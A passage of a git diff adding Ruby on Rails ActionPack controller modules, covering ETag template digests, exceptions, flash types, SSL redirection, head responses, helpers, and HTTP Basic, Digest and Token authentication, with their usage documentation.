+  #   config.action_controller.etag_with_template_digest = false
+  #
+  # Override the template to digest by passing +:template+ to +fresh_when+
+  # and +stale?+ calls. For example:
+  #
+  #   # We're going to render widgets/show, not posts/show
+  #   fresh_when @post, template: 'widgets/show'
+  #
+  #   # We're not going to render a template, so omit it from the ETag.
+  #   fresh_when @post, template: false
+  #
+  module EtagWithTemplateDigest
+    extend ActiveSupport::Concern
+
+    include ActionController::ConditionalGet
+
+    included do
+      class_attribute :etag_with_template_digest, default: true
+
+      ActiveSupport.on_load :action_view, yield: true do
+        etag do |options|
+          determine_template_etag(options) if etag_with_template_digest
+        end
+      end
+    end
+
+    private
+      def determine_template_etag(options)
+        if template = pick_template_for_etag(options)
+          lookup_and_digest_template(template)
+        end
+      end
+
+      # Pick the template digest to include in the ETag. If the +:template+ option
+      # is present, use the named template. If +:template+ is +nil+ or absent, use
+      # the default controller/action template. If +:template+ is false, omit the
+      # template digest from the ETag.
+      def pick_template_for_etag(options)
+        unless options[:template] == false
+          options[:template] || "#{controller_path}/#{action_name}"
+        end
+      end
+
+      def lookup_and_digest_template(template)
+        ActionView::Digestor.digest name: template, finder: lookup_context
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb
new file mode 100644
index 0000000000..f808295720
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/exceptions.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module ActionController
+  class ActionControllerError < StandardError #:nodoc:
+  end
+
+  class BadRequest < ActionControllerError #:nodoc:
+    def initialize(msg = nil)
+      super(msg)
+      set_backtrace $!.backtrace if $!
+    end
+  end
+
+  class RenderError < ActionControllerError #:nodoc:
+  end
+
+  class RoutingError < ActionControllerError #:nodoc:
+    attr_reader :failures
+    def initialize(message, failures = [])
+      super(message)
+      @failures = failures
+    end
+  end
+
+  class ActionController::UrlGenerationError < ActionControllerError #:nodoc:
+  end
+
+  class MethodNotAllowed < ActionControllerError #:nodoc:
+    def initialize(*allowed_methods)
+      super("Only #{allowed_methods.to_sentence(locale: :en)} requests are allowed.")
+    end
+  end
+
+  class NotImplemented < MethodNotAllowed #:nodoc:
+  end
+
+  class UnknownController < ActionControllerError #:nodoc:
+  end
+
+  class MissingFile < ActionControllerError #:nodoc:
+  end
+
+  class SessionOverflowError < ActionControllerError #:nodoc:
+    DEFAULT_MESSAGE = "Your session data is larger than the data column in which it is to be stored. You must increase the size of your data column if you intend to store large data."
+
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
+  end
+
+  class UnknownHttpMethod < ActionControllerError #:nodoc:
+  end
+
+  class UnknownFormat < ActionControllerError #:nodoc:
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
new file mode 100644
index 0000000000..5115c2fadf
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module ActionController #:nodoc:
+  module Flash
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_flash_types, instance_accessor: false, default: []
+
+      delegate :flash, to: :request
+      add_flash_types(:alert, :notice)
+    end
+
+    module ClassMethods
+      # Creates new flash types. You can pass as many types as you want to create
+      # flash types other than the default <tt>alert</tt> and <tt>notice</tt> in
+      # your controllers and views. For instance:
+      #
+      #   # in application_controller.rb
+      #   class ApplicationController < ActionController::Base
+      #     add_flash_types :warning
+      #   end
+      #
+      #   # in your controller
+      #   redirect_to user_path(@user), warning: "Incomplete profile"
+      #
+      #   # in your view
+      #   <%= warning %>
+      #
+      # This method will automatically define a new method for each of the given
+      # names, and it will be available in your views.
+      def add_flash_types(*types)
+        types.each do |type|
+          next if _flash_types.include?(type)
+
+          define_method(type) do
+            request.flash[type]
+          end
+          helper_method type
+
+          self._flash_types += [type]
+        end
+      end
+    end
+
+    private
+      def redirect_to(options = {}, response_status_and_flash = {}) #:doc:
+        self.class._flash_types.each do |flash_type|
+          if type = response_status_and_flash.delete(flash_type)
+            flash[flash_type] = type
+          end
+        end
+
+        if other_flashes = response_status_and_flash.delete(:flash)
+          flash.update(other_flashes)
+        end
+
+        super(options, response_status_and_flash)
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
new file mode 100644
index 0000000000..0ba1f9f783
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/hash/slice"
+
+module ActionController
+  # This module provides a method which will redirect the browser to use the secured HTTPS
+  # protocol. This will ensure that users' sensitive information will be
+  # transferred safely over the internet. You _should_ always force the browser
+  # to use HTTPS when you're transferring sensitive information such as
+  # user authentication, account information, or credit card information.
+  #
+  # Note that if you are really concerned about your application security,
+  # you might consider using +config.force_ssl+ in your config file instead.
+  # That will ensure all the data is transferred via HTTPS, and will
+  # prevent the user from getting their session hijacked when accessing the
+  # site over unsecured HTTP protocol.
+  module ForceSSL
+    extend ActiveSupport::Concern
+    include AbstractController::Callbacks
+
+    ACTION_OPTIONS = [:only, :except, :if, :unless]
+    URL_OPTIONS = [:protocol, :host, :domain, :subdomain, :port, :path]
+    REDIRECT_OPTIONS = [:status, :flash, :alert, :notice]
+
+    module ClassMethods
+      # Force the request to this particular controller or specified actions to be
+      # through the HTTPS protocol.
+      #
+      # If you need to disable this for any reason (e.g. development) then you can use
+      # an +:if+ or +:unless+ condition.
+      #
+      #     class AccountsController < ApplicationController
+      #       force_ssl if: :ssl_configured?
+      #
+      #       def ssl_configured?
+      #         !Rails.env.development?
+      #       end
+      #     end
+      #
+      # ==== URL Options
+      # You can pass any of the following options to affect the redirect url
+      # * <tt>host</tt>       - Redirect to a different host name
+      # * <tt>subdomain</tt>  - Redirect to a different subdomain
+      # * <tt>domain</tt>     - Redirect to a different domain
+      # * <tt>port</tt>       - Redirect to a non-standard port
+      # * <tt>path</tt>       - Redirect to a different path
+      #
+      # ==== Redirect Options
+      # You can pass any of the following options to affect the redirect status and response
+      # * <tt>status</tt>     - Redirect with a custom status (default is 301 Moved Permanently)
+      # * <tt>flash</tt>      - Set a flash message when redirecting
+      # * <tt>alert</tt>      - Set an alert message when redirecting
+      # * <tt>notice</tt>     - Set a notice message when redirecting
+      #
+      # ==== Action Options
+      # You can pass any of the following options to affect the before_action callback
+      # * <tt>only</tt>       - The callback should be run only for this action
+      # * <tt>except</tt>     - The callback should be run for all actions except this action
+      # * <tt>if</tt>         - A symbol naming an instance method or a proc; the
+      #   callback will be called only when it returns a true value.
+      # * <tt>unless</tt>     - A symbol naming an instance method or a proc; the
+      #   callback will be called only when it returns a false value.
+      def force_ssl(options = {})
+        action_options = options.slice(*ACTION_OPTIONS)
+        redirect_options = options.except(*ACTION_OPTIONS)
+        before_action(action_options) do
+          force_ssl_redirect(redirect_options)
+        end
+      end
+    end
+
+    # Redirect the existing request to use the HTTPS protocol.
+    #
+    # ==== Parameters
+    # * <tt>host_or_options</tt> - Either a host name or any of the url and
+    #   redirect options available to the <tt>force_ssl</tt> method.
+    def force_ssl_redirect(host_or_options = nil)
+      unless request.ssl?
+        options = {
+          protocol: "https://",
+          host: request.host,
+          path: request.fullpath,
+          status: :moved_permanently
+        }
+
+        if host_or_options.is_a?(Hash)
+          options.merge!(host_or_options)
+        elsif host_or_options
+          options[:host] = host_or_options
+        end
+
+        secure_url = ActionDispatch::Http::URL.url_for(options.slice(*URL_OPTIONS))
+        flash.keep if respond_to?(:flash) && request.respond_to?(:flash)
+        redirect_to secure_url, options.slice(*REDIRECT_OPTIONS)
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
new file mode 100644
index 0000000000..bac9bc5e5f
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActionController
+  module Head
+    # Returns a response that has no content (merely headers). The options
+    # argument is interpreted to be a hash of header names and values.
+    # This allows you to easily return a response that consists only of
+    # significant headers:
+    #
+    #   head :created, location: person_path(@person)
+    #
+    #   head :created, location: @person
+    #
+    # It can also be used to return exceptional conditions:
+    #
+    #   return head(:method_not_allowed) unless request.post?
+    #   return head(:bad_request) unless valid_request?
+    #   render
+    #
+    # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list of valid +status+ symbols.
+    def head(status, options = {})
+      if status.is_a?(Hash)
+        raise ArgumentError, "#{status.inspect} is not a valid value for `status`."
+      end
+
+      status ||= :ok
+
+      location = options.delete(:location)
+      content_type = options.delete(:content_type)
+
+      options.each do |key, value|
+        headers[key.to_s.dasherize.split("-").each { |v| v[0] = v[0].chr.upcase }.join("-")] = value.to_s
+      end
+
+      self.status = status
+      self.location = url_for(location) if location
+
+      self.response_body = ""
+
+      if include_content?(response_code)
+        self.content_type = content_type || (Mime[formats.first] if formats)
+        response.charset = false
+      end
+
+      true
+    end
+
+    private
+      def include_content?(status)
+        case status
+        when 100..199
+          false
+        when 204, 205, 304
+          false
+        else
+          true
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
new file mode 100644
index 0000000000..22c84e440b
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+module ActionController
+  # The \Rails framework provides a large number of helpers for working with assets, dates, forms,
+  # numbers and model objects, to name a few. These helpers are available to all templates
+  # by default.
+  #
+  # In addition to using the standard template helpers provided, creating custom helpers to
+  # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller
+  # will include all helpers. These helpers are only accessible on the controller through <tt>#helpers</tt>
+  #
+  # In previous versions of \Rails the controller will include a helper which
+  # matches the name of the controller, e.g., <tt>MyController</tt> will automatically
+  # include <tt>MyHelper</tt>. To return old behavior set +config.action_controller.include_all_helpers+ to +false+.
+  #
+  # Additional helpers can be specified using the +helper+ class method in ActionController::Base or any
+  # controller which inherits from it.
+  #
+  # The +to_s+ method from the \Time class can be wrapped in a helper method to display a custom message if
+  # a \Time object is blank:
+  #
+  #   module FormattedTimeHelper
+  #     def format_time(time, format=:long, blank_message="&nbsp;")
+  #       time.blank? ? blank_message : time.to_s(format)
+  #     end
+  #   end
+  #
+  # FormattedTimeHelper can now be included in a controller, using the +helper+ class method:
+  #
+  #   class EventsController < ActionController::Base
+  #     helper FormattedTimeHelper
+  #     def index
+  #       @events = Event.all
+  #     end
+  #   end
+  #
+  # Then, in any view rendered by <tt>EventController</tt>, the <tt>format_time</tt> method can be called:
+  #
+  #   <% @events.each do |event| -%>
+  #     <p>
+  #       <%= format_time(event.time, :short, "N/A") %> | <%= event.name %>
+  #     </p>
+  #   <% end -%>
+  #
+  # Finally, assuming we have two event instances, one which has a time and one which does not,
+  # the output might look like this:
+  #
+  #   23 Aug 11:30 | Carolina Railhawks Soccer Match
+  #   N/A | Carolina Railhawks Training Workshop
+  #
+  module Helpers
+    extend ActiveSupport::Concern
+
+    class << self; attr_accessor :helpers_path; end
+    include AbstractController::Helpers
+
+    included do
+      class_attribute :helpers_path, default: []
+      class_attribute :include_all_helpers, default: true
+    end
+
+    module ClassMethods
+      # Declares helper accessors for controller attributes. For example, the
+      # following adds new +name+ and <tt>name=</tt> instance methods to a
+      # controller and makes them available to the view:
+      #   attr_accessor :name
+      #   helper_attr :name
+      #
+      # ==== Parameters
+      # * <tt>attrs</tt> - Names of attributes to be converted into helpers.
+      def helper_attr(*attrs)
+        attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
+      end
+
+      # Provides a proxy to access helper methods from outside the view.
+      def helpers
+        @helper_proxy ||= begin
+          proxy = ActionView::Base.new
+          proxy.config = config.inheritable_copy
+          proxy.extend(_helpers)
+        end
+      end
+
+      # Overwrite modules_for_helpers to accept :all as argument, which loads
+      # all helpers in helpers_path.
+      #
+      # ==== Parameters
+      # * <tt>args</tt> - A list of helpers
+      #
+      # ==== Returns
+      # * <tt>array</tt> - A normalized list of modules for the list of helpers provided.
+      def modules_for_helpers(args)
+        args += all_application_helpers if args.delete(:all)
+        super(args)
+      end
+
+      # Returns a list of helper names in a given path.
+      #
+      #   ActionController::Base.all_helpers_from_path 'app/helpers'
+      #   # => ["application", "chart", "rubygems"]
+      def all_helpers_from_path(path)
+        helpers = Array(path).flat_map do |_path|
+          extract = /^#{Regexp.quote(_path.to_s)}\/?(.*)_helper.rb$/
+          names = Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1'.freeze) }
+          names.sort!
+        end
+        helpers.uniq!
+        helpers
+      end
+
+      private
+        # Extract helper names from files in <tt>app/helpers/**/*_helper.rb</tt>
+        def all_application_helpers
+          all_helpers_from_path(helpers_path)
+        end
+    end
+
+    # Provides a proxy to access helper methods from outside the view.
+    def helpers
+      @_helper_proxy ||= view_context
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
new file mode 100644
index 0000000000..08d9b094f3
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -0,0 +1,522 @@
+# frozen_string_literal: true
+
+require "base64"
+require "active_support/security_utils"
+
+module ActionController
+  # Makes it dead easy to do HTTP Basic, Digest and Token authentication.
+  module HttpAuthentication
+    # Makes it dead easy to do HTTP \Basic authentication.
+    #
+    # === Simple \Basic example
+    #
+    #   class PostsController < ApplicationController
+    #     http_basic_authenticate_with name: "dhh", password: "secret", except: :index
+    #
+    #     def index
+    #       render plain: "Everyone can see me!"
+    #     end
+    #
+    #     def edit
+    #       render plain: "I'm only accessible if you know the password"
+    #     end
+    #  end
+    #
+    # === Advanced \Basic example
+    #
+    # Here is a more advanced \Basic example where only Atom feeds and the XML API is protected by HTTP authentication,
+    # the regular HTML interface is protected by a session approach:
+    #
+    #   class ApplicationController < ActionController::Base
+    #     before_action :set_account, :authenticate
+    #
+    #     private
+    #       def set_account
+    #         @account = Account.find_by(url_name: request.subdomains.first)
+    #       end
+    #
+    #       def authenticate
+    #         case request.format
+    #         when Mime[:xml], Mime[:atom]
+    #           if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) }
+    #             @current_user = user
+    #           else
+    #             request_http_basic_authentication
+    #           end
+    #         else
+    #           if session_authenticated?
+    #             @current_user = @account.users.find(session[:authenticated][:user_id])
+    #           else
+    #             redirect_to(login_url) and return false
+    #           end
+    #         end
+    #       end
+    #   end
+    #
+    # In your integration tests, you can do something like this:
+    #
+    #   def test_access_granted_from_xml
+    #     @request.env['HTTP_AUTHORIZATION'] = ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
+    #     get "/notes/1.xml"
+    #
+    #     assert_equal 200, status
+    #   end
+    module Basic
+      extend self
+
+      module ControllerMethods
+        extend ActiveSupport::Concern
+
+        module ClassMethods
+          def http_basic_authenticate_with(options = {})
+            before_action(options.except(:name, :password, :realm)) do
+              authenticate_or_request_with_http_basic(options[:realm] || "Application") do |name, password|
+                # This comparison uses & so that it doesn't short circuit and
+                # uses `variable_size_secure_compare` so that length information
+                # isn't leaked.
+                ActiveSupport::SecurityUtils.variable_size_secure_compare(name, options[:name]) &
+                  ActiveSupport::SecurityUtils.variable_size_secure_compare(password, options[:password])
+              end
+            end
+          end
+        end
+
+        def authenticate_or_request_with_http_basic(realm = "Application", message = nil, &login_procedure)
+          authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm, message)
+        end
+
+        def authenticate_with_http_basic(&login_procedure)
+          HttpAuthentication::Basic.authenticate(request, &login_procedure)
+        end
+
+        def request_http_basic_authentication(realm = "Application", message = nil)
+          HttpAuthentication::Basic.authentication_request(self, realm, message)
+        end
+      end
+
+      def authenticate(request, &login_procedure)
+        if has_basic_credentials?(request)
+          login_procedure.call(*user_name_and_password(request))
+        end
+      end
+
+      def has_basic_credentials?(request)
+        request.authorization.present? && (auth_scheme(request).downcase == "basic")
+      end
+
+      def user_name_and_password(request)
+        decode_credentials(request).split(":", 2)
+      end
+
+      def decode_credentials(request)
+        ::Base64.decode64(auth_param(request) || "")
+      end
+
+      def auth_scheme(request)
+        request.authorization.to_s.split(" ", 2).first
+      end
+
+      def auth_param(request)
+        request.authorization.to_s.split(" ", 2).second
+      end
+
+      def encode_credentials(user_name, password)
+        "Basic #{::Base64.strict_encode64("#{user_name}:#{password}")}"
+      end
+
+      def authentication_request(controller, realm, message)
+        message ||= "HTTP Basic: Access denied.\n"
+        controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.tr('"'.freeze, "".freeze)}")
+        controller.status = 401
+        controller.response_body = message
+      end
+    end
+
+    # Makes it dead easy to do HTTP \Digest authentication.
+    #
+    # === Simple \Digest example
+    #
+    #   require 'digest/md5'
+    #   class PostsController < ApplicationController
+    #     REALM = "SuperSecret"
+    #     USERS = {"dhh" => "secret", #plain text password
+    #              "dap" => Digest::MD5.hexdigest(["dap",REALM,"secret"].join(":"))}  #ha1 digest password
+    #
+    #     before_action :authenticate, except: [:index]
+    #
+    #     def index
+    #       render plain: "Everyone can see me!"
+    #     end
+    #
+    #     def edit
+    #       render plain: "I'm only accessible if you know the password"
+    #     end
+    #
+    #     private
+    #       def authenticate
+    #         authenticate_or_request_with_http_digest(REALM) do |username|
+    #           USERS[username]
+    #         end
+    #       end
+    #   end
+    #
+    # === Notes
+    #
+    # The +authenticate_or_request_with_http_digest+ block must return the user's password
+    # or the ha1 digest hash so the framework can appropriately hash to check the user's
+    # credentials. Returning +nil+ will cause authentication to fail.
+    #
+    # Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
+    # the password file or database is compromised, the attacker would be able to use the ha1 hash to
+    # authenticate as the user at this +realm+, but would not have the user's password to try using at
+    # other sites.
+    #
+    # In rare instances, web servers or front proxies strip authorization headers before
+    # they reach your application. You can debug this situation by logging all environment
+    # variables, and check for HTTP_AUTHORIZATION, amongst others.
+    module Digest
+      extend self
+
+      module ControllerMethods
+        def authenticate_or_request_with_http_digest(realm = "Application", message = nil, &password_procedure)
+          authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm, message)
+        end
+
+        # Authenticate with HTTP Digest, returns true or false
+        def authenticate_with_http_digest(realm = "Application", &password_procedure)
+          HttpAuthentication::Digest.authenticate(request, realm, &password_procedure)
+        end
+
+        # Render output including the HTTP Digest authentication header
+        def request_http_digest_authentication(realm = "Application", message = nil)
+          HttpAuthentication::Digest.authentication_request(self, realm, message)
+        end
+      end
+
+      # Returns false on a valid response, true otherwise
+      def authenticate(request, realm, &password_procedure)
+        request.authorization && validate_digest_response(request, realm, &password_procedure)
+      end
+
+      # Returns false unless the request credentials response value matches the expected value.
+      # First try the password as a ha1 digest password. If this fails, then try it as a plain
+      # text password.
+      def validate_digest_response(request, realm, &password_procedure)
+        secret_key  = secret_token(request)
+        credentials = decode_credentials_header(request)
+        valid_nonce = validate_nonce(secret_key, request, credentials[:nonce])
+
+        if valid_nonce && realm == credentials[:realm] && opaque(secret_key) == credentials[:opaque]
+          password = password_procedure.call(credentials[:username])
+          return false unless password
+
+          method = request.get_header("rack.methodoverride.original_method") || request.get_header("REQUEST_METHOD")
+          uri    = credentials[:uri]
+
+          [true, false].any? do |trailing_question_mark|
+            [true, false].any? do |password_is_ha1|
+              _uri = trailing_question_mark ? uri + "?" : uri
+              expected = expected_response(method, _uri, credentials, password, password_is_ha1)
+              expected == credentials[:response]
+            end
+          end
+        end
+      end
+
+      # Returns the expected response for a request of +http_method+ to +uri+ with the decoded +credentials+ and the expected +password+
+      # Optional parameter +password_is_ha1+ is set to +true+ by default, since best practice is to store ha1 digest instead
+      # of a plain-text password.
+      def expected_response(http_method, uri, credentials, password, password_is_ha1 = true)
+        ha1 = password_is_ha1 ? password : ha1(credentials, password)
+        ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(":"))
+        ::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(":"))
+      end
+
+      def ha1(credentials, password)
+        ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(":"))
+      end
+
+      def encode_credentials(http_method, credentials, password, password_is_ha1)
+        credentials[:response] = expected_response(http_method, credentials[:uri], credentials, password, password_is_ha1)
+        "Digest " + credentials.sort_by { |x| x[0].to_s }.map { |v| "#{v[0]}='#{v[1]}'" }.join(", ")
+      end
+
+      def decode_credentials_header(request)
+        decode_credentials(request.authorization)
+      end
+
+      def decode_credentials(header)
+        ActiveSupport::HashWithIndifferentAccess[header.to_s.gsub(/^Digest\s+/, "").split(",").map do |pair|
+          key, value = pair.split("=", 2)
+          [key.strip, value.to_s.gsub(/^"|"$/, "").delete('\'')]
+        end]
+      end
+
+      def authentication_header(controller, realm)
+        secret_key = secret_token(controller.request)
+        nonce = self.nonce(secret_key)
+        opaque = opaque(secret_key)
+        controller.headers["WWW-Authenticate"] = %(Digest realm="#{realm}", qop="auth", algorithm=MD5, nonce="#{nonce}", opaque="#{opaque}")
+      end
+
+      def authentication_request(controller, realm, message = nil)
+        message ||= "HTTP Digest: Access denied.\n"
+        authentication_header(controller, realm)
+        controller.status = 401
+        controller.response_body = message
+      end
+
+      def secret_token(request)
+        key_generator  = request.key_generator
+        http_auth_salt = request.http_auth_salt
+        key_generator.generate_key(http_auth_salt)
+      end
+
+      # Uses an MD5 digest based on time to generate a value to be used only once.
+      #
+      # A server-specified data string which should be uniquely generated each time a 401 response is made.
+      # It is recommended that this string be base64 or hexadecimal data.
+      # Specifically, since the string is passed in the header lines as a quoted string, the double-quote character is not allowed.
+      #
+      # The contents of the nonce are implementation dependent.
+      # The quality of the implementation depends on a good choice.
+      # A nonce might, for example, be constructed as the base 64 encoding of
+      #
+      #   time-stamp H(time-stamp ":" ETag ":" private-key)
+      #
+      # where time-stamp is a server-generated time or other non-repeating value,
+      # ETag is the value of the HTTP ETag header associated with the requested entity,
+      # and private-key is data known only to the server.
+      # With a nonce of this form a server would recalculate the hash portion after receiving the client authentication header and
+      # reject the request if it did not match the nonce from that header or
+      # if the time-stamp value is not recent enough. In this way the server can limit the time of the nonce's validity.
+      # The inclusion of the ETag prevents a replay request for an updated version of the resource.
+      # (Note: including the IP address of the client in the nonce would appear to offer the server the ability
+      # to limit the reuse of the nonce to the same client that originally got it.
+      # However, that would break proxy farms, where requests from a single user often go through different proxies in the farm.
+      # Also, IP address spoofing is not that hard.)
+      #
+      # An implementation might choose not to accept a previously used nonce or a previously used digest, in order to
+      # protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for
+      # POST, PUT, or PATCH requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
+      # of this document.
+      #
+      # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
+      # key from the Rails session secret generated upon creation of project. Ensures
+      # the time cannot be modified by client.
+      def nonce(secret_key, time = Time.now)
+        t = time.to_i
+        hashed = [t, secret_key]
+        digest = ::Digest::MD5.hexdigest(hashed.join(":"))
+        ::Base64.strict_encode64("#{t}:#{digest}")
+      end
+
+      # Might want a shorter timeout depending on whether the request
+      # is a PATCH, PUT, or POST, and if the client is a browser or web service.
+      # Can be much shorter if the Stale directive is implemented. This would
+      # allow a user to use new nonce without prompting the user again for their
+      # username and password.
+      def validate_nonce(secret_key, request, value, seconds_to_timeout = 5 * 60)
+        return false if value.nil?
+        t = ::Base64.decode64(value).split(":").first.to_i
+        nonce(secret_key, t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
+      end
+
+      # Opaque based on digest of secret key
+      def opaque(secret_key)
+        ::Digest::MD5.hexdigest(secret_key)
+      end
+    end
+
+    # Makes it dead easy to do HTTP Token authentication.
+    #
+    # Simple Token example:
+    #
+    #   class PostsController < ApplicationController
+    #     TOKEN = "secret"
+    #
+    #     before_action :authenticate, except: [ :index ]
+    #
+    #     def index
+    #       render plain: "Everyone can see me!"
+    #     end
+    #
+    #     def edit
+    #       render plain: "I'm only accessible if you know the password"
+    #     end
+    #
+    #     private
+    #       def authenticate
+    #         authenticate_or_request_with_http_token do |token, options|
+    #           # Compare the tokens in a time-constant manner, to mitigate
+    #           # timing attacks.
+    #           ActiveSupport::SecurityUtils.secure_compare(
+    #             ::Digest::SHA256.hexdigest(token),
+    #             ::Digest::SHA256.hexdigest(TOKEN)
+    #           )
+    #         end
+    #       end
+    #   end
+    #
+    #
+    # Here is a more advanced Token example where only Atom feeds and the XML API is protected by HTTP token authentication,
+    # the regular HTML interface is protected by a session approach:
+    #
+    #   class ApplicationController < ActionController::Base
+    #     before_action :set_account, :authenticate
+    #
+    #     private
+    #       def set_account
+    #         @account = Account.find_by(url_name: request.subdomains.first)
+    #       end
+    #
+    #       def authenticate
+    #         case request.format
+    #         when Mime[:xml], Mime[:atom]
+    #           if user = authenticate_with_http_token { |t, o| @account.users.authenticate(t, o) }
+    #             @current_user = user
+    #           else
+    #             request_http_token_authentication
+    #           end
+    #         else
+    #           if session_authenticated?
+    #             @current_user = @account.users.find(session[:authenticated][:user_id])
+    #           else
+    #             redirect_to(login_url) and return false
+    #           end
+    #         end
+    #       end
+    #   end
+    #
+    #
+    # In your integration tests, you can do something like this:
+    #
+    #   def test_access_granted_from_xml
+    #     get(
+    #       "/notes/1.xml", nil,
+    #       'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Token.encode_credentials(users(:dhh).token)
+    #     )
+    #
+    #     assert_equal 200, status
+    #   end
+    #
+    #
+    # On shared hosts, Apache sometimes doesn't pass authentication headers to
+    # FCGI instances. If your environment matches this description and you cannot
+    # authenticate, try this rule in your Apache setup:
+    #
+    #   RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
+    module Token
+      TOKEN_KEY = "token="
+      TOKEN_REGEX = /^(Token|Bearer)\s+/
+      AUTHN_PAIR_DELIMITERS = /(?:,|;|\t+)/
+      extend self
+
+      module ControllerMethods
+        def authenticate_or_request_with_http_token(realm = "Application", message = nil, &login_procedure)
+          authenticate_with_http_token(&login_procedure) || request_http_token_authentication(realm, message)
+        end
+
+        def authenticate_with_http_token(&login_procedure)
+          Token.authenticate(self, &login_procedure)
+        end
+
+        def request_http_token_authentication(realm = "Application", message = nil)
+          Token.authentication_request(self, realm, message)
+        end
+      end
+
+      # If token Authorization header is present, call the login
+      # procedure with the present token and options.
+      #
+      # [controller]
+      #   ActionController::Base instance for the current request.
+      #
+      # [login_procedure]
+      #   Proc to call if a token is present. The Proc should take two arguments:
+      #
+      #     authenticate(controller) { |token, options| ... }
+      #
+      # Returns the return value of <tt>login_procedure</tt> if a
+      # token is found. Returns <tt>nil</tt> if no token is found.
+
+      def authenticate(controller, &login_procedure)
+        token, options = token_and_options(controller.request)
+        unless token.blank?
+          login_procedure.call(token, options)
+        end
+      end
+
+      # Parses the token and options out of the token Authorization header.
+      # The value for the Authorization header is expected to have the prefix
+      # <tt>"Token"</tt> or <tt>"Bearer"</tt>. If the header looks like this:
+      #   Authorization: Token token="abc", nonce="def"
+      # Then the returned token is <tt>"abc"</tt>, and the options are
+      # <tt>{nonce: "def"}</tt>
+      #
+      # request - ActionDispatch::Request instance with the current headers.
+      #
+      # Returns an +Array+ of <tt>[String, Hash]</tt> if a token is present.
+      # Returns +nil+ if no token is found.
+      def token_and_options(request)
+        authorization_request = request.authorization.to_s
+        if authorization_request[TOKEN_REGEX]
+          params = token_params_from authorization_request
+          [params.shift[1], Hash[params].with_indifferent_access]
+        end
+      end
+
+      def token_params_from(auth)
+        rewrite_param_values params_array_from raw_params auth
+      end
+
+      # Takes raw_params and turns it into an array of parameters
+      def params_array_from(raw_params)
+        raw_params.map { |param| param.split %r/=(.+)?/ }
+      end
+
+      # This removes the <tt>"</tt> characters wrapping the value.
+      def rewrite_param_values(array_params)
+        array_params.each { |param| (param[1] || "".dup).gsub! %r/^"|"$/, "" }
+      end
+
+      # This method takes an authorization body and splits up the key-value
+      # pairs by the standardized <tt>:</tt>, <tt>;</tt>, or <tt>\t</tt>
+      # delimiters defined in +AUTHN_PAIR_DELIMITERS+.
+      def raw_params(auth)
+        _raw_params = auth.sub(TOKEN_REGEX, "").split(/\s*#{AUTHN_PAIR_DELIMITERS}\s*/)
+
+        if !(_raw_params.first =~ %r{\A#{TOKEN_KEY}})
+          _raw_params[0] = "#{TOKEN_KEY}#{_raw_params.first}"
+        end
+
+        _raw_params
+      end
+
+      # Encodes the given token and options into an Authorization header value.
+      #
+      # token   - String token.
+      # options - optional Hash of the options.
+      #
+      # Returns String.
+      def encode_credentials(token, options = {})
+        values = ["#{TOKEN_KEY}#{token.to_s.inspect}"] + options.map do |key, value|
+          "#{key}=#{value.to_s.inspect}"
+        end
+        "Token #{values * ", "}"
+      end
+
+      # Sets a WWW-Authenticate header to let the client know a token is desired.
+      #
+      # controller - ActionController::Base instance for the outgoing response.
+      # realm      - String realm to use in the header.
+      #
+      # Returns nothing.
+      def authentication_request(controller, realm, message = nil)
+        message ||= "HTTP Token: Access denied.\n"
+        controller.headers["WWW-Authenticate"] = %(Token realm="#{realm.tr('"'.freeze, "".freeze)}")
+        controller.__send__ :render, plain: message, status: :unauthorized
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/implicit_render.rb b/actionpack/lib/action_controller/metal/implicit_render.rb
new file mode 100644
index 0000000000..ac0c127cdc
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/implicit_render.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+module ActionController
